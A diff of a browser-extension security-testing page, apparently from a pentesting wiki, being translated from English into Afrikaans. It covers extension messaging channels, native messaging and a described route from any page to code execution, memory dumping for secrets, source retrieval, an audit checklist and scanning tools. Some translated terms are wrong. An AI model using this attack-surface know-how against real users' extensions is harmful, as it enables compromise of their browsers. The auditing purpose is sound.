-It's also possible to send messages from a background script to a content script located in a specific tab calling **`chrome.tabs.sendMessage`** where you will need to indicated the **ID of the tab** to send the message to. +Dit is ook moontlik om boodskappe van 'n agtergrondskrip na 'n inhoudskrip in 'n spesifieke oortjie te stuur deur **`chrome.tabs.sendMessage`** aan te roep waar jy die **ID van die oortjie** moet aandui om die boodskap na te stuur. -### From allowed `externally_connectable` to the extension - -**Web apps and external browser extensions allowed** in the `externally_connectable` configuration can send requests using : +### Van toegelate `externally_connectable` na die uitbreiding +**Webtoepassings en eksterne blaaiers uitbreidings wat toegelaat word** in die `externally_connectable` konfigurasie kan versoeke stuur met: ```javascript chrome.runtime.sendMessage(extensionId, ... ``` +Waar dit nodig is om die **uitbreiding ID** te noem. -Where it's needed to mention the **extension ID**. - -### Native Messaging - -It's possible for the background scripts to communicate with binaries inside the system, which might be **prone to critical vulnerabilities such as RCEs** if this communication is not properly secured. [More on this later](./#native-messaging). +### Inheemse Berading +Dit is moontlik vir die agtergrondskripte om met binêre binne die stelsel te kommunikeer, wat **onderhewig kan wees aan kritieke kwesbaarhede soos RCE's** as hierdie kommunikasie nie behoorlik beveilig is nie. [Meer hieroor later](./#native-messaging). ```javascript chrome.runtime.sendNativeMessage( - "com.my_company.my_application", - { text: "Hello" }, - function (response) { - console.log("Received " + response) - } +"com.my_company.my_application", +{ text: "Hello" }, +function (response) { +console.log("Received " + response) +} ) ``` +## Web **↔︎** Inhoud Skrip Kommunikasie -## Web **↔︎** Content Script Communication - -The environments where **content scripts** operate and where the host pages exist are **separated** from one another, ensuring **isolation**. Despite this isolation, both have the ability to interact with the page's **Document Object Model (DOM)**, a shared resource. For the host page to engage in communication with the **content script**, or indirectly with the extension through the content script, it is required to utilize the **DOM** that is accessible by both parties as the communication channel. - -### Post Messages +Die omgewings waar **inhoud skripte** werk en waar die gasheer bladsye bestaan, is **geskeide** van mekaar, wat **isolasie** verseker. Ten spyte van hierdie isolasie, het albei die vermoë om met die bladsy se **Document Object Model (DOM)**, 'n gedeelde hulpbron, te kommunikeer. Vir die gasheer bladsy om in kommunikasie met die **inhoud skrip** te tree, of indirek met die uitbreiding deur die inhoud skrip, is dit nodig om die **DOM** te gebruik wat deur albei partye as die kommunikasiekanaal toeganklik is. +### Post Berigte ```javascript:content-script.js // This is like "chrome.runtime.sendMessage" but to maintain the connection var port = chrome.runtime.connect() window.addEventListener( - "message", - (event) => { - // We only accept messages from ourselves - if (event.source !== window) { - return - } +"message", +(event) => { +// We only accept messages from ourselves +if (event.source !== window) { +return +} - if (event.data.type && event.data.type === "FROM_PAGE") { - console.log("Content script received: " + event.data.text) - // Forward the message to the background script - port.postMessage(event.data.text) - } - }, - false +if (event.data.type && event.data.type === "FROM_PAGE") { +console.log("Content script received: " + event.data.text) +// Forward the message to the background script +port.postMessage(event.data.text) +} +}, +false ) ``` ```javascript:example.js document.getElementById("theButton").addEventListener( - "click", - () => { - window.postMessage( - { type: "FROM_PAGE", text: "Hello from the webpage!" }, - "*" - ) - }, - false +"click", +() => { +window.postMessage( +{ type: "FROM_PAGE", text: "Hello from the webpage!" }, +"*" +) +}, +false ) ``` +'n Veilige Post Message kommunikasie moet die egtheid van die ontvangde boodskap nagaan, dit kan gedoen word deur te kyk na: -A secure Post Message communication should check the authenticity of the received message, this can be done checking: +- **`event.isTrusted`**: Dit is Waar slegs as die gebeurtenis deur 'n gebruiker se aksie geaktiveer is +- Die inhoudskrip mag 'n boodskap verwag slegs as die gebruiker 'n aksie uitvoer +- **oorsprong domein**: mag 'n boodskap verwag slegs toelaatbare domeine. +- As 'n regex gebruik word, wees baie versigtig +- **Bron**: `received_message.source !== window` kan gebruik word om te kyk of die boodskap **van dieselfde venster** is waar die Inhoudskrip luister. -- **`event.isTrusted`**: This is True only if the event was triggered by a users action - - The content script might expecting a message only if the user performs some action -- **origin domain**: might expecting a message only allowlist of domains. - - If a regex is used, be very careful -- **Source**: `received_message.source !== window` can be used to check if the message was **from the same window** where the Content Script is listening. - -The previous checks, even if performed, could be vulnerable, so check in the following page **potential Post Message bypasses**: +Die vorige kontroles, selfs al word dit uitgevoer, kan kwesbaar wees, so kyk op die volgende bladsy **potensiële Post Message omseilings**: {{#ref}} ../postmessage-vulnerabilities/ @@ -502,7 +466,7 @@ The previous checks, even if performed, could be vulnerable, so check in the fol ### Iframe -Another possible way of communication might be through **Iframe URLs**, you can find an example in: +'n Ander moontlike manier van kommunikasie mag wees deur **Iframe URL's**, jy kan 'n voorbeeld vind in: {{#ref}} browext-xss-example.md @@ -510,240 +474,226 @@ browext-xss-example.md ### DOM -This isn't "exactly" a communication way, but the **web and the content script will have access to the web DOM**. So, if the **content script** is reading some information from it, **trusting the web DOM**, the web could **modify this dat**a (because the web shouldn't be trusted, or because the web is vulnerable to XSS) and **compromise the Content Script**. +Dit is nie "presies" 'n kommunikasieweg nie, maar die **web en die inhoudskrip sal toegang hê tot die web DOM**. So, as die **inhoudskrip** inligting daaruit lees, **vertrou op die web DOM**, kan die web **hierdie data wysig** (omdat die web nie vertrou moet word nie, of omdat die web kwesbaar is vir XSS) en **die Inhoudskrip in gevaar stel**. -You can also find an example of a **DOM based XSS to compromise a browser extension** in: +Jy kan ook 'n voorbeeld van 'n **DOM-gebaseerde XSS om 'n blaaiers uitbreiding te kompromitteer** vind in: {{#ref}} browext-xss-example.md {{#endref}} -## Content Script **↔︎** Background Script Communication +## Inhoudskrip **↔︎** Agtergrond Skrip Kommunikasie -A Content Script can use the functions [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **or** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) to send a **one-time JSON-serializable** message. +'n Inhoudskrip kan die funksies [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **of** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) gebruik om 'n **eenmalige JSON-serialiseerbare** boodskap te stuur. -To handle the **response**, use the returned **Promise**. Although, for backward compatibility, you can still pass a **callback** as the last argument. - -Sending a request from a **content script** looks like this: +Om die **antwoord** te hanteer, gebruik die teruggegee **Promise**. Alhoewel, vir agterwaartse kompatibiliteit, kan jy steeds 'n **callback** as die laaste argument deurgee. +Om 'n versoek van 'n **inhoudskrip** te stuur lyk soos volg: ```javascript ;(async () => { - const response = await chrome.runtime.sendMessage({ greeting: "hello" }) - // do something with response here, not outside the function - console.log(response) +const response = await chrome.runtime.sendMessage({ greeting: "hello" }) +// do something with response here, not outside the function +console.log(response) })() ``` - -Sending a request from the **extension** (usually a **background script**). Example of how to send message to the content script in the selected tab: - +'n Versoek stuur vanaf die **uitbreiding** (gewoonlik 'n **agtergrondskrip**). Voorbeeld van hoe om 'n boodskap na die inhoudskrip in die geselekteerde oortjie te stuur: ```javascript // From https://stackoverflow.com/questions/36153999/how-to-send-a-message-between-chrome-extension-popup-and-content-script ;(async () => { - const [tab] = await chrome.tabs.query({ - active: true, - lastFocusedWindow: true, - }) - const response = await chrome.tabs.sendMessage(tab.id, { greeting: "hello" }) - // do something with response here, not outside the function - console.log(response) +const [tab] = await chrome.tabs.query({ +active: true, +lastFocusedWindow: true, +}) +const response = await chrome.tabs.sendMessage(tab.id, { greeting: "hello" }) +// do something with response here, not outside the function +console.log(response) })() ``` - -On the **receiving end**, you need to set up an [**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **event listener** to handle the message. This looks the same from a content script or extension page. - +Aan die **ontvangkant** moet jy 'n [**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **gebeurtenisluisteraar** opstel om die boodskap te hanteer. Dit lyk dieselfde vanaf 'n inhoudskrip of uitbreidingsbladsy. ```javascript // From https://stackoverflow.com/questions/70406787/javascript-send-message-from-content-js-to-background-js chrome.runtime.onMessage.addListener(function (request, sender, sendResponse) { - console.log( - sender.tab - ? "from a content script:" + sender.tab.url - : "from the extension" - ) - if (request.greeting === "hello") sendResponse({ farewell: "goodbye" }) +console.log( +sender.tab +? "from a content script:" + sender.tab.url +: "from the extension" +) +if (request.greeting === "hello") sendResponse({ farewell: "goodbye" }) }) ``` +In die voorbeeld wat uitgelig is, is **`sendResponse()`** in 'n sinchroniese wyse uitgevoer. Om die `onMessage` gebeurtenis hanteraar te wysig vir asynchrone uitvoering van `sendResponse()`, is dit noodsaaklik om `return true;` in te sluit. -In the example highlighted, **`sendResponse()`** was executed in a synchronous fashion. To modify the `onMessage` event handler for asynchronous execution of `sendResponse()`, it's imperative to incorporate `return true;`. +'n Belangrike oorweging is dat in scenario's waar verskeie bladsye ingestel is om `onMessage` gebeurtenisse te ontvang, **die eerste bladsy wat `sendResponse()`** vir 'n spesifieke gebeurtenis uitvoer, die enigste een sal wees wat die respons effektief kan lewer. Enige daaropvolgende respons op dieselfde gebeurtenis sal nie in ag geneem word nie. -An important consideration is that in scenarios where multiple pages are set to receive `onMessage` events, **the first page to execute `sendResponse()`** for a specific event will be the only one able to deliver the response effectively. Any subsequent responses to the same event will not be taken into account. - -When crafting new extensions, the preference should be towards promises as opposed to callbacks. Concerning the use of callbacks, the `sendResponse()` function is considered valid only if it's executed directly within the synchronous context, or if the event handler indicates an asynchronous operation by returning `true`. Should none of the handlers return `true` or if the `sendResponse()` function is removed from memory (garbage-collected), the callback associated with the `sendMessage()` function will be triggered by default. +Wanneer nuwe uitbreidings geskep word, moet die voorkeur gegee word aan beloftes eerder as aan terugroepe. Ten opsigte van die gebruik van terugroepe, word die `sendResponse()` funksie as geldig beskou slegs as dit direk binne die sinchroniese konteks uitgevoer word, of as die gebeurtenis hanteraar 'n asynchrone operasie aandui deur `true` te retourneer. As geen van die hanteraar `true` teruggee nie of as die `sendResponse()` funksie uit geheue verwyder word (vullis-gekollekteer), sal die terugroep wat met die `sendMessage()` funksie geassosieer word, standaard geaktiveer word. ## Native Messaging -Browser extensions also allow to communicate with **binaries in the system via stdin**. The application must install a json indicating so in a json like: - +Bladsy uitbreidings laat ook kommunikasie met **binaries in die stelsel via stdin** toe. Die toepassing moet 'n json installeer wat dit aandui in 'n json soos: ```json { - "name": "com.my_company.my_application", - "description": "My Application", - "path": "C:\\Program Files\\My Application\\chrome_native_messaging_host.exe", - "type": "stdio", - "allowed_origins": ["chrome-extension://knldjmfmopnpolahpmmgbagdohdnhkik/"] +"name": "com.my_company.my_application", +"description": "My Application", +"path": "C:\\Program Files\\My Application\\chrome_native_messaging_host.exe", +"type": "stdio", +"allowed_origins": ["chrome-extension://knldjmfmopnpolahpmmgbagdohdnhkik/"] } ``` +Waar die `name` die string is wat aan [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) of [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) deurgegee word om met die toepassing te kommunikeer vanaf die agtergrondskripte van die blaaiers uitbreiding. Die `path` is die pad na die binêre, daar is slegs 1 geldige `type` wat stdio is (gebruik stdin en stdout) en die `allowed_origins` dui die uitbreidings aan wat toegang kan hê (en kan nie wildcard hê nie). -Where the `name` is the string passed to [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) or [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) to communicate with the application from the background scripts of the browser extension. The `path` is the path to the binary, there is only 1 valid `type` which is stdio (use stdin and stdout) and the `allowed_origins` indicate the extensions that can access it (and can't have wildcard). - -Chrome/Chromium will search for this json in some windows registry and some paths in macOS and Linux (more info in the [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)). +Chrome/Chromium sal hierdie json in sommige Windows-register en sommige paden in macOS en Linux soek (meer inligting in die [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)). > [!TIP] -> The browser extension also needs the `nativeMessaing` permission declared in order to be able to use this communication. - -This is how it looks like some background script code sending messages to a native application: +> Die blaaiers uitbreiding benodig ook die `nativeMessaing` toestemming wat verklaar is om hierdie kommunikasie te kan gebruik. +So lyk dit soos 'n agtergrondskrip kode wat boodskappe na 'n inheemse toepassing stuur: ```javascript chrome.runtime.sendNativeMessage( - "com.my_company.my_application", - { text: "Hello" }, - function (response) { - console.log("Received " + response) - } +"com.my_company.my_application", +{ text: "Hello" }, +function (response) { +console.log("Received " + response) +} ) ``` +In [**hierdie blogpos**](https://spaceraccoon.dev/universal-code-execution-browser-extensions/), 'n kwesbare patroon wat inheemse boodskappe misbruik, word voorgestel: -In [**this blog post**](https://spaceraccoon.dev/universal-code-execution-browser-extensions/), a vulnerable pattern abusing native messages is proposed: +1. Die blaaierspesialis het 'n wildcard-patroon vir inhoudskrip. +2. Inhoudskrip stuur `postMessage` boodskappe na die agtergrondskrip met behulp van `sendMessage`. +3. Agtergrondskrip stuur die boodskap na die inheemse toepassing met `sendNativeMessage`. +4. Inheemse toepassing hanteer die boodskap gevaarlik, wat lei tot kode-uitvoering. -1. Browser extension has a wildcard pattern for content script. -2. Content script passes `postMessage` messages to the background script using `sendMessage`. -3. Background script passes the message to native application using `sendNativeMessage`. -4. Native application handles the message dangerously, leading to code execution. +En binne dit word 'n voorbeeld van **hoe om van enige bladsy na RCE te gaan deur 'n blaaierspesialis te misbruik** verduidelik. -And inside of it an example of **going from any page to RCE abusing a browser extension is explained**. +## Sensitiewe Inligting in Geheue/Kode/Klips -## Sensitive Information in Memory/Code/Clipboard +As 'n Blaaierspesialis **sensitiewe inligting in sy geheue stoor**, kan dit **gedump** word (veral op Windows masjiene) en **gesoek** word na hierdie inligting. -If a Browser Extension stores **sensitive information inside it's memory**, this could be **dumped** (specially in Windows machines) and **searched** for this information. +Daarom, die geheue van die Blaaierspesialis **moet nie as veilig beskou word nie** en **sensitiewe inligting** soos akrediteer of mnemonic frases **moet nie gestoor word nie**. -Therefore, the memory of the Browser Extension **shouldn't be considered secure** and **sensitive information** such as credentials or mnemonic phrases **shouldn't be stored**. +Natuurlik, moenie **sensitiewe inligting in die kode plaas nie**, aangesien dit **publiek** sal wees. -Of course, do **not put sensitive information in the code**, as it will be **public**. +Om geheue van die blaaier te dump kan jy **die prosesgeheue dump** of om na die **instellings** van die blaaierspesialis te gaan, klik op **`Inspect pop-up`** -> In die **`Memory`** afdeling -> **`Neem 'n snapshot`** en **`CTRL+F`** om binne die snapshot na sensitiewe inligting te soek. -To dump memory from the browser you could **dump the process memory** or to go to the **settings** of the browser extension click on **`Inspect pop-up`** -> In the **`Memory`** section -> **`Take a snaphost`** and **`CTRL+F`** to search inside the snapshot for sensitive info. +Boonop, hoogs sensitiewe inligting soos mnemonic sleutels of wagwoorde **moet nie toegelaat word om in die klips gekopieer te word nie** (of ten minste dit binne 'n paar sekondes uit die klips verwyder) omdat prosesse wat die klips monitor, dit dan kan verkry. -Moreover, highly sensitive information like mnemonic keys or passwords **shouldn't be allowed to be copied in the clipboard** (or at least remove it from the clipboard in a few seconds) because then processes monitoring the clipboard will be able to get them. +## Laai 'n Spesialis in die Blaaier -## Loading an Extension in the Browser +1. **Laai af** die Blaaierspesialis & ongedaan gemaak +2. Gaan na **`chrome://extensions/`** en **aktiveer** die `Ontwikkelaar Modus` +3. Klik op die **`Laai ontpak`** knoppie -1. **Download** the Browser Extension & unzipped -2. Go to **`chrome://extensions/`** and **enable** the `Developer Mode` -3. Click the **`Load unpacked`** button +In **Firefox** gaan jy na **`about:debugging#/runtime/this-firefox`** en klik op die **`Laai Tydelike Byvoeging`** knoppie. -In **Firefox** you go to **`about:debugging#/runtime/this-firefox`** and click **`Load Temporary Add-on`** button. +## Verkry die bronkode van die winkel -## Getting the source code from the store +Die bronkode van 'n Chrome spesialis kan deur verskeie metodes verkry word. Hieronder is gedetailleerde verduidelikings en instruksies vir elke opsie. -The source code of a Chrome extension can be obtained through various methods. Below are detailed explanations and instructions for each option. +### Laai Spesialis as ZIP via Opdraglyn -### Download Extension as ZIP via Command Line - -The source code of a Chrome extension can be downloaded as a ZIP file using the command line. This involves using `curl` to fetch the ZIP file from a specific URL and then extracting the contents of the ZIP file to a directory. Here are the steps: - -1. Replace `"extension_id"` with the actual ID of the extension. -2. Execute the following commands: +Die bronkode van 'n Chrome spesialis kan as 'n ZIP-lêer afgelaai word met behulp van die opdraglyn. Dit behels die gebruik van `curl` om die ZIP-lêer van 'n spesifieke URL te verkry en dan die inhoud van die ZIP-lêer na 'n gids te onttrek. Hier is die stappe: +1. Vervang `"extension_id"` met die werklike ID van die spesialis. +2. Voer die volgende opdragte uit: ```bash extension_id=your_extension_id # Replace with the actual extension ID curl -L -o "$extension_id.zip" "https://clients2.google.com/service/update2/crx?response=redirect&os=mac&arch=x86-64&nacl_arch=x86-64&prod=chromecrx&prodchannel=stable&prodversion=44.0.2403.130&x=id%3D$extension_id%26uc" unzip -d "$extension_id-source" "$extension_id.zip" ``` - -### Use the CRX Viewer website +### Gebruik die CRX Viewer-webwerf [https://robwu.nl/crxviewer/](https://robwu.nl/crxviewer/) -### Use the CRX Viewer extension +### Gebruik die CRX Viewer-uitbreiding -Another convenient method is using the Chrome Extension Source Viewer, which is an open-source project. It can be installed from the [Chrome Web Store](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en). The source code of the viewer is available in its [GitHub repository](https://github.com/Rob--W/crxviewer). +'n Ander gerieflike metode is om die Chrome Extension Source Viewer te gebruik, wat 'n oopbronprojek is. Dit kan geïnstalleer word vanaf die [Chrome Web Store](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en). Die bronkode van die viewer is beskikbaar in sy [GitHub-repo](https://github.com/Rob--W/crxviewer). -### View source of locally installed extension +### Beskou die bron van plaaslik geïnstalleerde uitbreiding -Chrome extensions installed locally can also be inspected. Here's how: +Chrome-uitbreidings wat plaaslik geïnstalleer is, kan ook ondersoek word. Hier is hoe: -1. Access your Chrome local profile directory by visiting `chrome://version/` and locating the "Profile Path" field. -2. Navigate to the `Extensions/` subfolder within the profile directory. -3. This folder contains all installed extensions, typically with their source code in a readable format. +1. Toegang tot jou Chrome plaaslike profielgids deur `chrome://version/` te besoek en die "Profile Path" veld te vind. +2. Navigeer na die `Extensions/` subgids binne die profielgids. +3. Hierdie gids bevat al die geïnstalleerde uitbreidings, tipies met hul bronkode in 'n leesbare formaat. -To identify extensions, you can map their IDs to names: +Om uitbreidings te identifiseer, kan jy hul ID's aan name koppel: -- Enable Developer Mode on the `about:extensions` page to see the IDs of each extension. -- Within each extension's folder, the `manifest.json` file contains a readable `name` field, helping you to identify the extension. +- Aktiveer Ontwikkelaar Modus op die `about:extensions` bladsy om die ID's van elke uitbreiding te sien. +- Binne elke uitbreiding se gids bevat die `manifest.json` lêer 'n leesbare `name` veld, wat jou help om die uitbreiding te identifiseer. -### Use a File Archiver or Unpacker +### Gebruik 'n Lêer Argiveerder of Uittreksel -Go to the Chrome Web Store and download the extension. The file will have a `.crx` extension. Change the file extension from `.crx` to `.zip`. Use any file archiver (like WinRAR, 7-Zip, etc.) to extract the contents of the ZIP file. +Gaan na die Chrome Web Store en laai die uitbreiding af. Die lêer sal 'n `.crx` uitbreiding hê. Verander die lêer uitbreiding van `.crx` na `.zip`. Gebruik enige lêer argiveerder (soos WinRAR, 7-Zip, ens.) om die inhoud van die ZIP-lêer uit te trek. -### Use Developer Mode in Chrome +### Gebruik Ontwikkelaar Modus in Chrome -Open Chrome and go to `chrome://extensions/`. Enable "Developer mode" at the top right. Click on "Load unpacked extension...". Navigate to the directory of your extension. This doesn't download the source code, but it's useful for viewing and modifying the code of an already downloaded or developed extension. +Maak Chrome oop en gaan na `chrome://extensions/`. Aktiveer "Ontwikkelaar modus" aan die boonste regterkant. Klik op "Laai ontpackte uitbreiding...". Navigeer na die gids van jou uitbreiding. Dit laai nie die bronkode af nie, maar dit is nuttig om die kode van 'n reeds afgelaaide of ontwikkelde uitbreiding te beskou en te wysig. -## Chrome extension manifest dataset - -In order to try to spot vulnerable browser extensions you could use the[https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) and check their manifest files for potentially vulnerable signs. For example to check for extensions with more than 25000 users, `content_scripts` and the permission `nativeMessaing`: +## Chrome uitbreiding manifest dataset +Om te probeer om kwesbare blaaiers-uitbreidings te identifiseer, kan jy die [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) gebruik en hul manifest lêers nagaan vir potensieel kwesbare tekens. Byvoorbeeld om te kyk vir uitbreidings met meer as 25000 gebruikers, `content_scripts` en die toestemming `nativeMessaing`: ```bash # Query example from https://spaceraccoon.dev/universal-code-execution-browser-extensions/ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.length > 0 && manifest.permissions?.includes('nativeMessaging')" ``` +## Sekuriteitsoudit Kontrolelys -## Security Audit Checklist +Alhoewel Blaaieruitbreidings 'n **beperkte aanvaloppervlak** het, kan sommige van hulle **kwesbaarhede** of **potensiële versterkingsverbeterings** bevat. Die volgende is die mees algemene: -Even though Browser Extensions have a **limited attack surface**, some of them might contain **vulnerabilities** or **potential hardening improvements**. The following ones are the most common ones: +- [ ] **Beperk** so veel as moontlik aangevraagde **`permissions`** +- [ ] **Beperk** so veel as moontlik **`host_permissions`** +- [ ] Gebruik 'n **sterk** **`content_security_policy`** +- [ ] **Beperk** so veel as moontlik die **`externally_connectable`**, as geen nodig is nie en moontlik, laat dit nie standaard nie, spesifiseer **`{}`** +- [ ] As **URL kwesbaar vir XSS of oorname** hier genoem word, sal 'n aanvaller in staat wees om **boodskappe direk na die agtergrondskripte te stuur**. Baie kragtige omseiling. +- [ ] **Beperk** so veel as moontlik die **`web_accessible_resources`**, selfs leeg as moontlik. +- [ ] As **`web_accessible_resources`** nie geen is nie, kyk vir [**ClickJacking**](browext-clickjacking.md) +- [ ] As enige **kommunikasie** plaasvind van die **uitbreiding** na die **webblad**, [**kyk vir XSS**](browext-xss-example.md) **kwesbaarhede** wat in die kommunikasie veroorsaak word. +- [ ] As Post Boodskappe gebruik word, kyk vir [**Post Boodskap kwesbaarhede**](../postmessage-vulnerabilities/)**.** +- [ ] As die **Inhoud Skrip toegang tot DOM besonderhede** het, kyk dat hulle **nie 'n XSS** inbring as hulle **gewysig** word deur die web nie. +- [ ] Maak 'n spesiale klem as hierdie kommunikasie ook betrokke is in die **Inhoud Skrip -> Agtergrondskrip kommunikasie** +- [ ] As die agtergrondskrip kommunikeer via **natuurlike boodskappe**, kyk dat die kommunikasie veilig en gesaniteer is. +- [ ] **Sensitiewe inligting moet nie gestoor word** binne die Blaaieruitbreiding **kode** nie. +- [ ] **Sensitiewe inligting moet nie gestoor word** binne die Blaaieruitbreiding **geheue** nie. +- [ ] **Sensitiewe inligting moet nie gestoor word** binne die **lêerstelsel onbeskermd** nie. -- [ ] **Limit** as much as possible requested **`permissions`** -- [ ] **Limit** as much as possible **`host_permissions`** -- [ ] Use a **strong** **`content_security_policy`** -- [ ] **Limit** as much as possible the **`externally_connectable`**, if none is needed and possible, do not leave it by default, specify **`{}`** - - [ ] If **URL vulnerable to XSS or to takeover** is mentioned here, an attacker will be able to **send messages to the background scripts directly**. Very powerful bypass. -- [ ] **Limit** as much as possible the **`web_accessible_resources`**, even empty if possible. -- [ ] If **`web_accessible_resources`** is not none, check for [**ClickJacking**](browext-clickjacking.md) -- [ ] If any **communication** occurs from the **extension** to the **web page**, [**check for XSS**](browext-xss-example.md) **vulnerabilities** caused in the communication. - - [ ] If Post Messages are used, check for [**Post Message vulnerabilities**](../postmessage-vulnerabilities/)**.** - - [ ] If the **Content Script access DOM details**, check that they **aren't introducing a XSS** if they get **modified** by the web - - [ ] Make a special emphasis if this communication is also involved in the **Content Script -> Background script communication** - - [ ] If the background script is communicating via **native messaging** check the communication is secure and sanitized -- [ ] **Sensitive information shouldn't be stored** inside the Browser Extension **code** -- [ ] **Sensitive information shouldn't be stored** inside the Browser Extension **memory** -- [ ] **Sensitive information shouldn't be stored** inside the **file system unprotected** +## Blaaieruitbreiding Risiko's -## Browser Extension Risks +- Die app [https://crxaminer.tech/](https://crxaminer.tech/) analiseer sekere data soos die toestemmings wat die blaaiersuitbreiding versoek om 'n risikoniveau van die gebruik van die blaaiersuitbreiding te gee. -- The app [https://crxaminer.tech/](https://crxaminer.tech/) analyzes some data like the permissions browser extension requests to give a risk level of using the browser extension. - -## Tools +## Gereedskap ### [**Tarnish**](https://thehackerblog.com/tarnish/) -- Pulls any Chrome extension from a provided Chrome webstore link. -- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **viewer**: simply displays a JSON-prettified version of the extension’s manifest. -- **Fingerprint Analysis**: Detection of [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) and automatic generation of Chrome extension fingerprinting JavaScript. -- **Potential Clickjacking Analysis**: Detection of extension HTML pages with the [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) directive set. These are potentially vulnerable to clickjacking depending on the purpose of the pages. -- **Permission Warning(s) viewer**: which shows a list of all the Chrome permission prompt warnings which will be displayed upon a user attempting to install the extension. -- **Dangerous Function(s)**: shows the location of dangerous functions which could potentially be exploited by an attacker (e.g. functions such as innerHTML, chrome.tabs.executeScript). -- **Entry Point(s)**: shows where the extension takes in user/external input. This is useful for understanding an extension’s surface area and looking for potential points to send maliciously-crafted data to the extension. -- Both the Dangerous Function(s) and Entry Point(s) scanners have the following for their generated alerts: - - Relevant code snippet and line that caused the alert. - - Description of the issue. - - A “View File” button to view the full source file containing the code. - - The path of the alerted file. - - The full Chrome extension URI of the alerted file. - - The type of file it is, such as a Background Page script, Content Script, Browser Action, etc. - - If the vulnerable line is in a JavaScript file, the paths of all of the pages where it is included as well as these page’s type, and [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources) status. -- **Content Security Policy (CSP) analyzer and bypass checker**: This will point out weaknesses in your extension’s CSP and will also illuminate any potential ways to bypass your CSP due to whitelisted CDNs, etc. -- **Known Vulnerable Libraries**: This uses [Retire.js](https://retirejs.github.io/retire.js/) to check for any usage of known-vulnerable JavaScript libraries. -- Download extension and formatted versions. - - Download the original extension. - - Download a beautified version of the extension (auto prettified HTML and JavaScript). -- Automatic caching of scan results, running an extension scan will take a good amount of time the first time you run it. However the second time, assuming the extension hasn’t been updated, will be almost instant due to the results being cached. -- Linkable Report URLs, easily link someone else to an extension report generated by tarnish. +- Trek enige Chrome-uitbreiding van 'n gegewe Chrome-webwinkel skakel. +- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **kyker**: vertoon eenvoudig 'n JSON-verfraaide weergawe van die uitbreiding se manifest. +- **Vingerafdrukanalise**: Ontdekking van [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) en outomatiese generering van Chrome-uitbreiding vingerafdruk JavaScript. +- **Potensiële Clickjacking Analise**: Ontdekking van uitbreiding HTML-bladsye met die [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) riglyn ingestel. Hierdie is potensieel kwesbaar vir clickjacking afhangende van die doel van die bladsye. +- **Toestemming Waarskuwing(s) kyker**: wat 'n lys van al die Chrome toestemming prompt waarskuwings vertoon wat vertoon sal word wanneer 'n gebruiker probeer om die uitbreiding te installeer. +- **Gevaarlike Funksie(s)**: wys die ligging van gevaarlike funksies wat potensieel deur 'n aanvaller uitgebuit kan word (bv. funksies soos innerHTML, chrome.tabs.executeScript). +- **Ingangspunt(e)**: wys waar die uitbreiding gebruiker/externe insette ontvang. Dit is nuttig om 'n uitbreiding se oppervlakarea te verstaan en te soek na potensiële punte om kwaadwillig saamgestelde data na die uitbreiding te stuur. +- Beide die Gevaarlike Funksie(s) en Ingangspunt(e) skandeerders het die volgende vir hul gegenereerde waarskuwings: +- Betrokke kode-snipper en lyn wat die waarskuwing veroorsaak het. +- Beskrywing van die probleem. +- 'n "Sien Lêer" knoppie om die volle bronne lêer wat die kode bevat te sien. +- Die pad van die gewaarskuwe lêer. +- Die volle Chrome-uitbreiding URI van die gewaarskuwe lêer. +- Die tipe lêer wat dit is, soos 'n Agtergrondbladskrip, Inhoud Skrip, Blaaier Aksie, ens. +- As die kwesbare lyn in 'n JavaScript-lêer is, die pades van al die bladsye waar dit ingesluit is sowel as hierdie bladsye se tipe, en [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources) status. +- **Inhoud Sekuriteitsbeleid (CSP) analise en omseil kontroleerder**: Dit sal swakhede in jou uitbreiding se CSP uitwys en sal ook enige potensiële maniere om jou CSP te omseil as gevolg van gewhitelist CDNs, ens. belig. +- **Bekende Kwesbare Biblioteke**: Dit gebruik [Retire.js](https://retirejs.github.io/retire.js/) om te kyk vir enige gebruik van bekende kwesbare JavaScript biblioteke. +- Laai uitbreiding en geformateerde weergawes af. +- Laai die oorspronklike uitbreiding af. +- Laai 'n verfraaide weergawe van die uitbreiding af (outomaties verfraaide HTML en JavaScript). +- Outomatiese kas van skandeer resultate, om 'n uitbreiding skandering te laat loop sal 'n goeie hoeveelheid tyd neem die eerste keer wat jy dit uitvoer. Maar die tweede keer, mits die uitbreiding nie opgedateer is nie, sal dit amper onmiddellik wees as gevolg van die resultate wat in die kas gestoor is. +- Skakelbare Verslag URL's, maklik om iemand anders na 'n uitbreiding verslag wat deur tarnish gegenereer is te skakel. ### [Neto](https://github.com/elevenpaths/neto) -Project Neto is a Python 3 package conceived to analyse and unravel hidden features of browser plugins and extensions for well-known browsers such as Firefox and Chrome. It automates the process of unzipping the packaged files to extract these features from relevant resources in a extension like `manifest.json`, localization folders or Javascript and 